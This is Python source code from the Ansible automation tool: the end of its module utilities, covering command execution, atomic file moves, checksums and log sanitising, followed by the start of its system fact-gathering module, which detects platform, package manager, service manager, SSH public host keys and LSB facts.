                log_args[param] = 'NOT_LOGGING_PASSWORD'
            else:
                param_val = self.params[param]
                if not isinstance(param_val, (text_type, binary_type)):
                    param_val = str(param_val)
                elif isinstance(param_val, text_type):
                    param_val = param_val.encode('utf-8')
                log_args[param] = heuristic_log_sanitize(param_val, self.no_log_values)

        msg = []
        for arg in log_args:
            arg_val = log_args[arg]
            if not isinstance(arg_val, (text_type, binary_type)):
                arg_val = str(arg_val)
            elif isinstance(arg_val, text_type):
                arg_val = arg_val.encode('utf-8')
            msg.append('%s=%s' % (arg, arg_val))
        if msg:
            msg = 'Invoked with %s' % ' '.join(msg)
        else:
            msg = 'Invoked'

        self.log(msg, log_args=log_args)


    def _set_cwd(self):
        try:
            cwd = os.getcwd()
            if not os.access(cwd, os.F_OK|os.R_OK):
                raise
            return cwd
        except:
            # we don't have access to the cwd, probably because of sudo.
            # Try and move to a neutral location to prevent errors
            for cwd in [os.path.expandvars('$HOME'), tempfile.gettempdir()]:
                try:
                    if os.access(cwd, os.F_OK|os.R_OK):
                        os.chdir(cwd)
                        return cwd
                except:
                    pass
        # we won't error here, as it may *not* be a problem,
        # and we don't want to break modules unnecessarily
        return None

    def get_bin_path(self, arg, required=False, opt_dirs=[]):
        '''
        find system executable in PATH.
        Optional arguments:
           - required:  if executable is not found and required is true, fail_json
           - opt_dirs:  optional list of directories to search in addition to PATH
        if found return full path; otherwise return None
        '''
        sbin_paths = ['/sbin', '/usr/sbin', '/usr/local/sbin']
        paths = []
        for d in opt_dirs:
            if d is not None and os.path.exists(d):
                paths.append(d)
        paths += os.environ.get('PATH', '').split(os.pathsep)
        bin_path = None
        # mangle PATH to include /sbin dirs
        for p in sbin_paths:
            if p not in paths and os.path.exists(p):
                paths.append(p)
        for d in paths:
            if not d:
                continue
            path = os.path.join(d, arg)
            if os.path.exists(path) and is_executable(path):
                bin_path = path
                break
        if required and bin_path is None:
            self.fail_json(msg='Failed to find required executable %s' % arg)
        return bin_path

    def boolean(self, arg):
        ''' return a bool for the arg '''
        if arg is None or type(arg) == bool:
            return arg
        if isinstance(arg, string_types):
            arg = arg.lower()
        if arg in BOOLEANS_TRUE:
            return True
        elif arg in BOOLEANS_FALSE:
            return False
        else:
            self.fail_json(msg='Boolean %s not in either boolean list' % arg)

    def jsonify(self, data):
        for encoding in ("utf-8", "latin-1"):
            try:
                return json.dumps(data, encoding=encoding)
            # Old systems using old simplejson module does not support encoding keyword.
            except TypeError:
                try:
                    new_data = json_dict_bytes_to_unicode(data, encoding=encoding)
                except UnicodeDecodeError:
                    continue
                return json.dumps(new_data)
            except UnicodeDecodeError:
                continue
        self.fail_json(msg='Invalid unicode encoding encountered')

    def from_json(self, data):
        return json.loads(data)

    def add_cleanup_file(self, path):
        if path not in self.cleanup_files:
            self.cleanup_files.append(path)

    def do_cleanup_files(self):
        for path in self.cleanup_files:
            self.cleanup(path)

    def exit_json(self, **kwargs):
        ''' return from the module, without error '''
        self.add_path_info(kwargs)
        if not 'changed' in kwargs:
            kwargs['changed'] = False
        if 'invocation' not in kwargs:
            kwargs['invocation'] = {'module_args': self.params}
        kwargs = remove_values(kwargs, self.no_log_values)
        self.do_cleanup_files()
        print('\n%s' % self.jsonify(kwargs))
        sys.exit(0)

    def fail_json(self, **kwargs):
        ''' return from the module, with an error message '''
        self.add_path_info(kwargs)
        assert 'msg' in kwargs, "implementation error -- msg to explain the error is required"
        kwargs['failed'] = True
        if 'invocation' not in kwargs:
            kwargs['invocation'] = {'module_args': self.params}
        kwargs = remove_values(kwargs, self.no_log_values)
        self.do_cleanup_files()
        print('\n%s' % self.jsonify(kwargs))
        sys.exit(1)

    def fail_on_missing_params(self, required_params=None):
        ''' This is for checking for required params when we can not check via argspec because we
        need more information than is simply given in the argspec.
        '''
        if not required_params:
            return
        missing_params = []
        for required_param in required_params:
            if not self.params.get(required_param):
                missing_params.append(required_param)
        if missing_params:
            self.fail_json(msg="missing required arguments: %s" % ','.join(missing_params))

    def digest_from_file(self, filename, algorithm):
        ''' Return hex digest of local file for a digest_method specified by name, or None if file is not present. '''
        if not os.path.exists(filename):
            return None
        if os.path.isdir(filename):
            self.fail_json(msg="attempted to take checksum of directory: %s" % filename)

        # preserve old behaviour where the third parameter was a hash algorithm object
        if hasattr(algorithm, 'hexdigest'):
            digest_method = algorithm
        else:
            try:
                digest_method = AVAILABLE_HASH_ALGORITHMS[algorithm]()
            except KeyError:
                self.fail_json(msg="Could not hash file '%s' with algorithm '%s'. Available algorithms: %s" %
                                   (filename, algorithm, ', '.join(AVAILABLE_HASH_ALGORITHMS)))

        blocksize = 64 * 1024
        infile = open(filename, 'rb')
        block = infile.read(blocksize)
        while block:
            digest_method.update(block)
            block = infile.read(blocksize)
        infile.close()
        return digest_method.hexdigest()

    def md5(self, filename):
        ''' Return MD5 hex digest of local file using digest_from_file().

        Do not use this function unless you have no other choice for:
            1) Optional backwards compatibility
            2) Compatibility with a third party protocol

        This function will not work on systems complying with FIPS-140-2.

        Most uses of this function can use the module.sha1 function instead.
        '''
        if 'md5' not in AVAILABLE_HASH_ALGORITHMS:
            raise ValueError('MD5 not available.  Possibly running in FIPS mode')
        return self.digest_from_file(filename, 'md5')

    def sha1(self, filename):
        ''' Return SHA1 hex digest of local file using digest_from_file(). '''
        return self.digest_from_file(filename, 'sha1')

    def sha256(self, filename):
        ''' Return SHA-256 hex digest of local file using digest_from_file(). '''
        return self.digest_from_file(filename, 'sha256')

    def backup_local(self, fn):
        '''make a date-marked backup of the specified file, return True or False on success or failure'''

        backupdest = ''
        if os.path.exists(fn):
            # backups named basename-YYYY-MM-DD@HH:MM:SS~
            ext = time.strftime("%Y-%m-%d@%H:%M:%S~", time.localtime(time.time()))
            backupdest = '%s.%s.%s' % (fn, os.getpid(), ext)

            try:
                shutil.copy2(fn, backupdest)
            except (shutil.Error, IOError):
                e = get_exception()
                self.fail_json(msg='Could not make backup of %s to %s: %s' % (fn, backupdest, e))

        return backupdest

    def cleanup(self, tmpfile):
        if os.path.exists(tmpfile):
            try:
                os.unlink(tmpfile)
            except OSError:
                e = get_exception()
                sys.stderr.write("could not cleanup %s: %s" % (tmpfile, e))

    def atomic_move(self, src, dest, unsafe_writes=False):
        '''atomically move src to dest, copying attributes from dest, returns true on success
        it uses os.rename to ensure this as it is an atomic operation, rest of the function is
        to work around limitations, corner cases and ensure selinux context is saved if possible'''
        context = None
        dest_stat = None
        if os.path.exists(dest):
            try:
                dest_stat = os.stat(dest)
                os.chmod(src, dest_stat.st_mode & PERM_BITS)
                os.chown(src, dest_stat.st_uid, dest_stat.st_gid)
            except OSError:
                e = get_exception()
                if e.errno != errno.EPERM:
                    raise
            if self.selinux_enabled():
                context = self.selinux_context(dest)
        else:
            if self.selinux_enabled():
                context = self.selinux_default_context(dest)

        creating = not os.path.exists(dest)

        try:
            login_name = os.getlogin()
        except OSError:
            # not having a tty can cause the above to fail, so
            # just get the LOGNAME environment variable instead
            login_name = os.environ.get('LOGNAME', None)

        # if the original login_name doesn't match the currently
        # logged-in user, or if the SUDO_USER environment variable
        # is set, then this user has switched their credentials
        switched_user = login_name and login_name != pwd.getpwuid(os.getuid())[0] or os.environ.get('SUDO_USER')

        try:
            # Optimistically try a rename, solves some corner cases and can avoid useless work, throws exception if not atomic.
            os.rename(src, dest)
        except (IOError, OSError):
            e = get_exception()
            if e.errno not in [errno.EPERM, errno.EXDEV, errno.EACCES, errno.ETXTBSY]:
                # only try workarounds for errno 18 (cross device), 1 (not permitted),  13 (permission denied)
                # and 26 (text file busy) which happens on vagrant synced folders and other 'exotic' non posix file systems
                self.fail_json(msg='Could not replace file: %s to %s: %s' % (src, dest, e))
            else:
                dest_dir = os.path.dirname(dest)
                dest_file = os.path.basename(dest)
                try:
                    tmp_dest = tempfile.NamedTemporaryFile(
                        prefix=".ansible_tmp", dir=dest_dir, suffix=dest_file)
                except (OSError, IOError):
                    e = get_exception()
                    self.fail_json(msg='The destination directory (%s) is not writable by the current user. Error was: %s' % (dest_dir, e))

                try: # leaves tmp file behind when sudo and  not root
                    if switched_user and os.getuid() != 0:
                        # cleanup will happen by 'rm' of tempdir
                        # copy2 will preserve some metadata
                        shutil.copy2(src, tmp_dest.name)
                    else:
                        shutil.move(src, tmp_dest.name)
                    if self.selinux_enabled():
                        self.set_context_if_different(
                            tmp_dest.name, context, False)
                    try:
                        tmp_stat = os.stat(tmp_dest.name)
                        if dest_stat and (tmp_stat.st_uid != dest_stat.st_uid or tmp_stat.st_gid != dest_stat.st_gid):
                            os.chown(tmp_dest.name, dest_stat.st_uid, dest_stat.st_gid)
                    except OSError:
                        e = get_exception()
                        if e.errno != errno.EPERM:
                            raise
                    os.rename(tmp_dest.name, dest)
                except (shutil.Error, OSError, IOError):
                    e = get_exception()
                    # sadly there are some situations where we cannot ensure atomicity, but only if
                    # the user insists and we get the appropriate error we update the file unsafely
                    if unsafe_writes and e.errno == errno.EBUSY:
                        #TODO: issue warning that this is an unsafe operation, but doing it cause user insists
                        try:
                            try:
                                out_dest = open(dest, 'wb')
                                in_src = open(src, 'rb')
                                shutil.copyfileobj(in_src, out_dest)
                            finally: # assuring closed files in 2.4 compatible way
                                if out_dest:
                                    out_dest.close()
                                if in_src:
                                    in_src.close()
                        except (shutil.Error, OSError, IOError):
                            e = get_exception()
                            self.fail_json(msg='Could not write data to file (%s) from (%s): %s' % (dest, src, e))

                    else:
                        self.fail_json(msg='Could not replace file: %s to %s: %s' % (src, dest, e))

                    self.cleanup(tmp_dest.name)

        if creating:
            # make sure the file has the correct permissions
            # based on the current value of umask
            umask = os.umask(0)
            os.umask(umask)
            os.chmod(dest, DEFAULT_PERM & ~umask)
            if switched_user:
                os.chown(dest, os.getuid(), os.getgid())

        if self.selinux_enabled():
            # rename might not preserve context
            self.set_context_if_different(dest, context, False)

    def run_command(self, args, check_rc=False, close_fds=True, executable=None, data=None, binary_data=False, path_prefix=None, cwd=None, use_unsafe_shell=False, prompt_regex=None, environ_update=None):
        '''
        Execute a command, returns rc, stdout, and stderr.

        :arg args: is the command to run
            * If args is a list, the command will be run with shell=False.
            * If args is a string and use_unsafe_shell=False it will split args to a list and run with shell=False
            * If args is a string and use_unsafe_shell=True it runs with shell=True.
        :kw check_rc: Whether to call fail_json in case of non zero RC.
            Default False
        :kw close_fds: See documentation for subprocess.Popen(). Default True
        :kw executable: See documentation for subprocess.Popen(). Default None
        :kw data: If given, information to write to the stdin of the command
        :kw binary_data: If False, append a newline to the data.  Default False
        :kw path_prefix: If given, additional path to find the command in.
            This adds to the PATH environment vairable so helper commands in
            the same directory can also be found
        :kw cwd: iIf given, working directory to run the command inside
        :kw use_unsafe_shell: See `args` parameter.  Default False
        :kw prompt_regex: Regex string (not a compiled regex) which can be
            used to detect prompts in the stdout which would otherwise cause
            the execution to hang (especially if no input data is specified)
        :kwarg environ_update: dictionary to *update* os.environ with
        '''

        shell = False
        if isinstance(args, list):
            if use_unsafe_shell:
                args = " ".join([pipes.quote(x) for x in args])
                shell = True
        elif isinstance(args, (binary_type, text_type)) and use_unsafe_shell:
            shell = True
        elif isinstance(args, string_types):
            # On python2.6 and below, shlex has problems with text type
            # On python3, shlex needs a text type.
            if PY2 and isinstance(args, text_type):
                args = args.encode('utf-8')
            elif PY3 and isinstance(args, binary_type):
                args = args.decode('utf-8', errors='surrogateescape')
            args = shlex.split(args)
        else:
            msg = "Argument 'args' to run_command must be list or string"
            self.fail_json(rc=257, cmd=args, msg=msg)

        prompt_re = None
        if prompt_regex:
            if isinstance(prompt_regex, text_type):
                if PY3:
                    prompt_regex = prompt_regex.encode('utf-8', errors='surrogateescape')
                elif PY2:
                    prompt_regex = prompt_regex.encode('utf-8')
            try:
                prompt_re = re.compile(prompt_regex, re.MULTILINE)
            except re.error:
                self.fail_json(msg="invalid prompt regular expression given to run_command")

        # expand things like $HOME and ~
        if not shell:
            args = [ os.path.expandvars(os.path.expanduser(x)) for x in args if x is not None ]

        rc = 0
        msg = None
        st_in = None

        # Manipulate the environ we'll send to the new process
        old_env_vals = {}
        # We can set this from both an attribute and per call
        for key, val in self.run_command_environ_update.items():
            old_env_vals[key] = os.environ.get(key, None)
            os.environ[key] = val
        if environ_update:
            for key, val in environ_update.items():
                old_env_vals[key] = os.environ.get(key, None)
                os.environ[key] = val
        if path_prefix:
            old_env_vals['PATH'] = os.environ['PATH']
            os.environ['PATH'] = "%s:%s" % (path_prefix, os.environ['PATH'])

        # If using test-module and explode, the remote lib path will resemble ...
        #   /tmp/test_module_scratch/debug_dir/ansible/module_utils/basic.py
        # If using ansible or ansible-playbook with a remote system ...
        #   /tmp/ansible_vmweLQ/ansible_modlib.zip/ansible/module_utils/basic.py

        # Clean out python paths set by ansiballz
        if 'PYTHONPATH' in os.environ:
            pypaths = os.environ['PYTHONPATH'].split(':')
            pypaths = [x for x in pypaths \
                        if not x.endswith('/ansible_modlib.zip') \
                        and not x.endswith('/debug_dir')]
            os.environ['PYTHONPATH'] = ':'.join(pypaths)
            if not os.environ['PYTHONPATH']:
                del os.environ['PYTHONPATH']

        # create a printable version of the command for use
        # in reporting later, which strips out things like
        # passwords from the args list
        to_clean_args = args
        if PY2:
            if isinstance(args, text_type):
                to_clean_args = args.encode('utf-8')
        else:
            if isinstance(args, binary_type):
                to_clean_args = args.decode('utf-8', errors='replace')
        if isinstance(args, (text_type, binary_type)):
            to_clean_args = shlex.split(to_clean_args)

        clean_args = []
        is_passwd = False
        for arg in to_clean_args:
            if is_passwd:
                is_passwd = False
                clean_args.append('********')
                continue
            if PASSWD_ARG_RE.match(arg):
                sep_idx = arg.find('=')
                if sep_idx > -1:
                    clean_args.append('%s=********' % arg[:sep_idx])
                    continue
                else:
                    is_passwd = True
            arg = heuristic_log_sanitize(arg, self.no_log_values)
            clean_args.append(arg)
        clean_args = ' '.join(pipes.quote(arg) for arg in clean_args)

        if data:
            st_in = subprocess.PIPE

        kwargs = dict(
            executable=executable,
            shell=shell,
            close_fds=close_fds,
            stdin=st_in,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
        )

        if cwd and os.path.isdir(cwd):
            kwargs['cwd'] = cwd

        # store the pwd
        prev_dir = os.getcwd()

        # make sure we're in the right working directory
        if cwd and os.path.isdir(cwd):
            try:
                os.chdir(cwd)
            except (OSError, IOError):
                e = get_exception()
                self.fail_json(rc=e.errno, msg="Could not open %s, %s" % (cwd, str(e)))

        try:

            if self._debug:
                if isinstance(args, list):
                    running = ' '.join(args)
                else:
                    running = args
                self.log('Executing: ' + running)
            cmd = subprocess.Popen(args, **kwargs)

            # the communication logic here is essentially taken from that
            # of the _communicate() function in ssh.py

            stdout = b('')
            stderr = b('')
            rpipes = [cmd.stdout, cmd.stderr]

            if data:
                if not binary_data:
                    data += '\n'
                if isinstance(data, text_type):
                    if PY3:
                        errors = 'surrogateescape'
                    else:
                        errors = 'strict'
                    data = data.encode('utf-8', errors=errors)
                cmd.stdin.write(data)
                cmd.stdin.close()

            while True:
                rfd, wfd, efd = select.select(rpipes, [], rpipes, 1)
                if cmd.stdout in rfd:
                    dat = os.read(cmd.stdout.fileno(), 9000)
                    stdout += dat
                    if dat == b(''):
                        rpipes.remove(cmd.stdout)
                if cmd.stderr in rfd:
                    dat = os.read(cmd.stderr.fileno(), 9000)
                    stderr += dat
                    if dat == b(''):
                        rpipes.remove(cmd.stderr)
                # if we're checking for prompts, do it now
                if prompt_re:
                    if prompt_re.search(stdout) and not data:
                        return (257, stdout, "A prompt was encountered while running a command, but no input data was specified")
                # only break out if no pipes are left to read or
                # the pipes are completely read and
                # the process is terminated
                if (not rpipes or not rfd) and cmd.poll() is not None:
                    break
                # No pipes are left to read but process is not yet terminated
                # Only then it is safe to wait for the process to be finished
                # NOTE: Actually cmd.poll() is always None here if rpipes is empty
                elif not rpipes and cmd.poll() == None:
                    cmd.wait()
                    # The process is terminated. Since no pipes to read from are
                    # left, there is no need to call select() again.
                    break

            cmd.stdout.close()
            cmd.stderr.close()

            rc = cmd.returncode
        except (OSError, IOError):
            e = get_exception()
            self.fail_json(rc=e.errno, msg=str(e), cmd=clean_args)
        except:
            self.fail_json(rc=257, msg=traceback.format_exc(), cmd=clean_args)

        # Restore env settings
        for key, val in old_env_vals.items():
            if val is None:
                del os.environ[key]
            else:
                os.environ[key] = val

        if rc != 0 and check_rc:
            msg = heuristic_log_sanitize(stderr.rstrip(), self.no_log_values)
            self.fail_json(cmd=clean_args, rc=rc, stdout=stdout, stderr=stderr, msg=msg)

        # reset the pwd
        os.chdir(prev_dir)

        return (rc, stdout, stderr)

    def append_to_file(self, filename, str):
        filename = os.path.expandvars(os.path.expanduser(filename))
        fh = open(filename, 'a')
        fh.write(str)
        fh.close()

    def bytes_to_human(self, size):

        ranges = (
                (1 << 70, 'ZB'),
                (1 << 60, 'EB'),
                (1 << 50, 'PB'),
                (1 << 40, 'TB'),
                (1 << 30, 'GB'),
                (1 << 20, 'MB'),
                (1 << 10, 'KB'),
                (1, 'Bytes')
            )
        for limit, suffix in ranges:
            if size >= limit:
                break
        return '%.2f %s' % (float(size)/ limit, suffix)

    # for backwards compatibility
    pretty_bytes = bytes_to_human

    def human_to_bytes(number, bits=False):

        result = None
        suffixes = ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB']
        full = 'Bytes'

        if bits:
            suffixes = [ x.replace('B', 'b') for x in suffixes ]
            full = 'Bits'

        if number is None:
            result = 0
        elif isinstance(number, int):
            result = number
        elif number.isdigit():
            result = int(number)
        elif full in number:
            result = int(number.replace(full,''))
        else:
            for i, suffix in enumerate(suffixes):
                if suffix in number:
                    result = int(number.replace(suffix ,'')) * (1024 ** i)
                    break

        if result is None:
            raise ValueError("Failed to convert %s. The suffix must be one of %s or %s" % (number, full, ', '.join(suffixes)))

        return result

    #
    # Backwards compat
    #

    # In 2.0, moved from inside the module to the toplevel
    is_executable = is_executable


def get_module_path():
    return os.path.dirname(os.path.realpath(__file__))






# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

import os
import sys
import stat
import time
import shlex
import errno
import fnmatch
import glob
import platform
import re
import signal
import socket
import struct
import datetime
import getpass
import pwd

from ansible.module_utils.basic import get_all_subclasses
from ansible.module_utils.six import PY3, iteritems

# py2 vs py3; replace with six via ansiballz
try:
    # python2
    import ConfigParser as configparser
except ImportError:
    # python3
    import configparser

try:
    # python2
    from StringIO import StringIO
except ImportError:
    # python3
    from io import StringIO

try:
    # python2
    from string import maketrans
except ImportError:
    # python3
    maketrans = str.maketrans # TODO: is this really identical?

try:
    # Python 2
    long
except NameError:
    # Python 3
    long = int

try:
    import selinux
    HAVE_SELINUX=True
except ImportError:
    HAVE_SELINUX=False

try:
    # Check if we have SSLContext support
    from ssl import create_default_context, SSLContext
    del create_default_context
    del SSLContext
    HAS_SSLCONTEXT = True
except ImportError:
    HAS_SSLCONTEXT = False

try:
    import json
    # Detect python-json which is incompatible and fallback to simplejson in
    # that case
    try:
        json.loads
        json.dumps
    except AttributeError:
        raise ImportError
except ImportError:
    import simplejson as json

# The distutils module is not shipped with SUNWPython on Solaris.
# It's in the SUNWPython-devel package which also contains development files
# that don't belong on production boxes.  Since our Solaris code doesn't
# depend on LooseVersion, do not import it on Solaris.
if platform.system() != 'SunOS':
    from distutils.version import LooseVersion


# --------------------------------------------------------------
# timeout function to make sure some fact gathering
# steps do not exceed a time limit

GATHER_TIMEOUT=None

class TimeoutError(Exception):
    pass

def timeout(seconds=10, error_message="Timer expired"):

    def decorator(func):
        def _handle_timeout(signum, frame):
            raise TimeoutError(error_message)

        def wrapper(*args, **kwargs):
            if 'GATHER_TIMEOUT' in globals():
                if GATHER_TIMEOUT:
                    seconds = GATHER_TIMEOUT
            signal.signal(signal.SIGALRM, _handle_timeout)
            signal.alarm(seconds)
            try:
                result = func(*args, **kwargs)
            finally:
                signal.alarm(0)
            return result

        return wrapper

    return decorator

# --------------------------------------------------------------

class Facts(object):
    """
    This class should only attempt to populate those facts that
    are mostly generic to all systems.  This includes platform facts,
    service facts (e.g. ssh keys or selinux), and distribution facts.
    Anything that requires extensive code or may have more than one
    possible implementation to establish facts for a given topic should
    subclass Facts.
    """

    # i86pc is a Solaris and derivatives-ism
    _I386RE = re.compile(r'i([3456]86|86pc)')
    # For the most part, we assume that platform.dist() will tell the truth.
    # This is the fallback to handle unknowns or exceptions
    SELINUX_MODE_DICT = { 1: 'enforcing', 0: 'permissive', -1: 'disabled' }

    # A list of dicts.  If there is a platform with more than one
    # package manager, put the preferred one last.  If there is an
    # ansible module, use that as the value for the 'name' key.
    PKG_MGRS = [ { 'path' : '/usr/bin/yum',         'name' : 'yum' },
                 { 'path' : '/usr/bin/dnf',         'name' : 'dnf' },
                 { 'path' : '/usr/bin/apt-get',     'name' : 'apt' },
                 { 'path' : '/usr/bin/zypper',      'name' : 'zypper' },
                 { 'path' : '/usr/sbin/urpmi',      'name' : 'urpmi' },
                 { 'path' : '/usr/bin/pacman',      'name' : 'pacman' },
                 { 'path' : '/bin/opkg',            'name' : 'opkg' },
                 { 'path' : '/usr/pkg/bin/pkgin',   'name' : 'pkgin' },
                 { 'path' : '/opt/local/bin/pkgin', 'name' : 'pkgin' },
                 { 'path' : '/opt/local/bin/port',  'name' : 'macports' },
                 { 'path' : '/usr/local/bin/brew',  'name' : 'homebrew' },
                 { 'path' : '/sbin/apk',            'name' : 'apk' },
                 { 'path' : '/usr/sbin/pkg',        'name' : 'pkgng' },
                 { 'path' : '/usr/sbin/swlist',     'name' : 'SD-UX' },
                 { 'path' : '/usr/bin/emerge',      'name' : 'portage' },
                 { 'path' : '/usr/sbin/pkgadd',     'name' : 'svr4pkg' },
                 { 'path' : '/usr/bin/pkg',         'name' : 'pkg' },
                 { 'path' : '/usr/bin/xbps-install','name' : 'xbps' },
                 { 'path' : '/usr/local/sbin/pkg',  'name' : 'pkgng' },
                ]

    def __init__(self, module, load_on_init=True, cached_facts=None):

        self.module = module
        if not cached_facts:
            self.facts = {}
        else:
            self.facts = cached_facts
        ### TODO: Eventually, these should all get moved to populate().  But
        # some of the values are currently being used by other subclasses (for
        # instance, os_family and distribution).  Have to sort out what to do
        # about those first.
        if load_on_init:
            self.get_platform_facts()
            self.facts.update(Distribution(module).populate())
            self.get_cmdline()
            self.get_public_ssh_host_keys()
            self.get_selinux_facts()
            self.get_caps_facts()
            self.get_fips_facts()
            self.get_pkg_mgr_facts()
            self.get_service_mgr_facts()
            self.get_lsb_facts()
            self.get_date_time_facts()
            self.get_user_facts()
            self.get_local_facts()
            self.get_env_facts()
            self.get_dns_facts()
            self.get_python_facts()


    def populate(self):
        return self.facts

    # Platform
    # platform.system() can be Linux, Darwin, Java, or Windows
    def get_platform_facts(self):
        self.facts['system'] = platform.system()
        self.facts['kernel'] = platform.release()
        self.facts['machine'] = platform.machine()
        self.facts['python_version'] = platform.python_version()
        self.facts['fqdn'] = socket.getfqdn()
        self.facts['hostname'] = platform.node().split('.')[0]
        self.facts['nodename'] = platform.node()
        self.facts['domain'] = '.'.join(self.facts['fqdn'].split('.')[1:])
        arch_bits = platform.architecture()[0]
        self.facts['userspace_bits'] = arch_bits.replace('bit', '')
        if self.facts['machine'] == 'x86_64':
            self.facts['architecture'] = self.facts['machine']
            if self.facts['userspace_bits'] == '64':
                self.facts['userspace_architecture'] = 'x86_64'
            elif self.facts['userspace_bits'] == '32':
                self.facts['userspace_architecture'] = 'i386'
        elif Facts._I386RE.search(self.facts['machine']):
            self.facts['architecture'] = 'i386'
            if self.facts['userspace_bits'] == '64':
                self.facts['userspace_architecture'] = 'x86_64'
            elif self.facts['userspace_bits'] == '32':
                self.facts['userspace_architecture'] = 'i386'
        else:
            self.facts['architecture'] = self.facts['machine']
        if self.facts['system'] == 'AIX':
            # Attempt to use getconf to figure out architecture
            # fall back to bootinfo if needed
            getconf_bin = self.module.get_bin_path('getconf')
            if getconf_bin:
                rc, out, err = self.module.run_command([getconf_bin, 'MACHINE_ARCHITECTURE'])
                data = out.split('\n')
                self.facts['architecture'] = data[0]
            else:
                bootinfo_bin = self.module.get_bin_path('bootinfo')
                rc, out, err = self.module.run_command([bootinfo_bin, '-p'])
                data = out.split('\n')
                self.facts['architecture'] = data[0]
        elif self.facts['system'] == 'OpenBSD':
            self.facts['architecture'] = platform.uname()[5]
        machine_id = get_file_content("/var/lib/dbus/machine-id") or get_file_content("/etc/machine-id")
        if machine_id:
            machine_id = machine_id.split('\n')[0]
            self.facts["machine_id"] = machine_id

    def get_local_facts(self):

        fact_path = self.module.params.get('fact_path', None)
        if not fact_path or not os.path.exists(fact_path):
            return

        local = {}
        for fn in sorted(glob.glob(fact_path + '/*.fact')):
            # where it will sit under local facts
            fact_base = os.path.basename(fn).replace('.fact','')
            if stat.S_IXUSR & os.stat(fn)[stat.ST_MODE]:
                # run it
                # try to read it as json first
                # if that fails read it with ConfigParser
                # if that fails, skip it
                rc, out, err = self.module.run_command(fn)
                try:
                    out = out.decode('utf-8', 'strict')
                except UnicodeError:
                    fact = 'error loading fact - output of running %s was not utf-8' % fn
                    local[fact_base] = fact
                    self.facts['local'] = local
                    return
            else:
                out = get_file_content(fn, default='')

            # load raw json
            fact = 'loading %s' % fact_base
            try:
                fact = json.loads(out)
            except ValueError:
                # load raw ini
                cp = configparser.ConfigParser()
                try:
                    cp.readfp(StringIO(out))
                except configparser.Error:
                    fact = "error loading fact - please check content"
                else:
                    fact = {}
                    for sect in cp.sections():
                        if sect not in fact:
                            fact[sect] = {}
                        for opt in cp.options(sect):
                            val = cp.get(sect, opt)
                            fact[sect][opt]=val

            local[fact_base] = fact
        if not local:
            return
        self.facts['local'] = local

    def get_cmdline(self):
        data = get_file_content('/proc/cmdline')
        if data:
            self.facts['cmdline'] = {}
            try:
                for piece in shlex.split(data):
                    item = piece.split('=', 1)
                    if len(item) == 1:
                        self.facts['cmdline'][item[0]] = True
                    else:
                        self.facts['cmdline'][item[0]] = item[1]
            except ValueError:
                pass

    def get_public_ssh_host_keys(self):
        keytypes = ('dsa', 'rsa', 'ecdsa', 'ed25519')

        # list of directories to check for ssh keys
        # used in the order listed here, the first one with keys is used
        keydirs = ['/etc/ssh', '/etc/openssh', '/etc']

        for keydir in keydirs:
            for type_ in keytypes:
                factname = 'ssh_host_key_%s_public' % type_
                if factname in self.facts:
                    # a previous keydir was already successful, stop looking
                    # for keys
                    return
                key_filename = '%s/ssh_host_%s_key.pub' % (keydir, type_)
                keydata = get_file_content(key_filename)
                if keydata is not None:
                    self.facts[factname] = keydata.split()[1]

    def get_pkg_mgr_facts(self):
        if self.facts['system'] == 'OpenBSD':
                self.facts['pkg_mgr'] = 'openbsd_pkg'
        else:
            self.facts['pkg_mgr'] = 'unknown'
            for pkg in Facts.PKG_MGRS:
                if os.path.exists(pkg['path']):
                    self.facts['pkg_mgr'] = pkg['name']

    def get_service_mgr_facts(self):
        #TODO: detect more custom init setups like bootscripts, dmd, s6, Epoch, runit, etc
        # also other OSs other than linux might need to check across several possible candidates

        # try various forms of querying pid 1
        proc_1 = get_file_content('/proc/1/comm')
        if proc_1 is None:
            rc, proc_1, err = self.module.run_command("ps -p 1 -o comm|tail -n 1", use_unsafe_shell=True)
        else:
            proc_1 = os.path.basename(proc_1)

        if proc_1 is not None:
            proc_1 = proc_1.strip()

        if proc_1 == 'init' or proc_1.endswith('sh'):
            # many systems return init, so this cannot be trusted, if it ends in 'sh' it probalby is a shell in a container
            proc_1 = None

        # if not init/None it should be an identifiable or custom init, so we are done!
        if proc_1 is not None:
            self.facts['service_mgr'] = proc_1

        # start with the easy ones
        elif  self.facts['distribution'] == 'MacOSX':
            #FIXME: find way to query executable, version matching is not ideal
            if LooseVersion(platform.mac_ver()[0]) >= LooseVersion('10.4'):
                self.facts['service_mgr'] = 'launchd'
            else:
                self.facts['service_mgr'] = 'systemstarter'
        elif 'BSD' in self.facts['system'] or self.facts['system'] in ['Bitrig', 'DragonFly']:
            #FIXME: we might want to break out to individual BSDs
            self.facts['service_mgr'] = 'bsdinit'
        elif self.facts['system'] == 'AIX':
            self.facts['service_mgr'] = 'src'
        elif self.facts['system'] == 'SunOS':
            #FIXME: smf?
            self.facts['service_mgr'] = 'svcs'
        elif self.facts['system'] == 'Linux':
            if self.is_systemd_managed():
                self.facts['service_mgr'] = 'systemd'
            elif self.module.get_bin_path('initctl') and os.path.exists("/etc/init/"):
                self.facts['service_mgr'] = 'upstart'
            elif os.path.realpath('/sbin/rc') == '/sbin/openrc':
                self.facts['service_mgr'] = 'openrc'
            elif os.path.exists('/etc/init.d/'):
                self.facts['service_mgr'] = 'sysvinit'

        if not self.facts.get('service_mgr', False):
            # if we cannot detect, fallback to generic 'service'
            self.facts['service_mgr'] = 'service'

    def get_lsb_facts(self):
        lsb_path = self.module.get_bin_path('lsb_release')
        if lsb_path:
            rc, out, err = self.module.run_command([lsb_path, "-a"])
            if rc == 0:
                out = out.decode('utf-8', 'replace')
                self.facts['lsb'] = {}
                for line in out.split('\n'):
                    if len(line) < 1 or ':' not in line:
                        continue
                    value = line.split(':', 1)[1].strip()
                    if 'LSB Version:' in line:
                        self.facts['lsb']['release'] = value
                    elif 'Distributor ID:' in line:
                        self.facts['lsb']['id'] = value
                    elif 'Description:' in line:
                        self.facts['lsb']['description'] = value
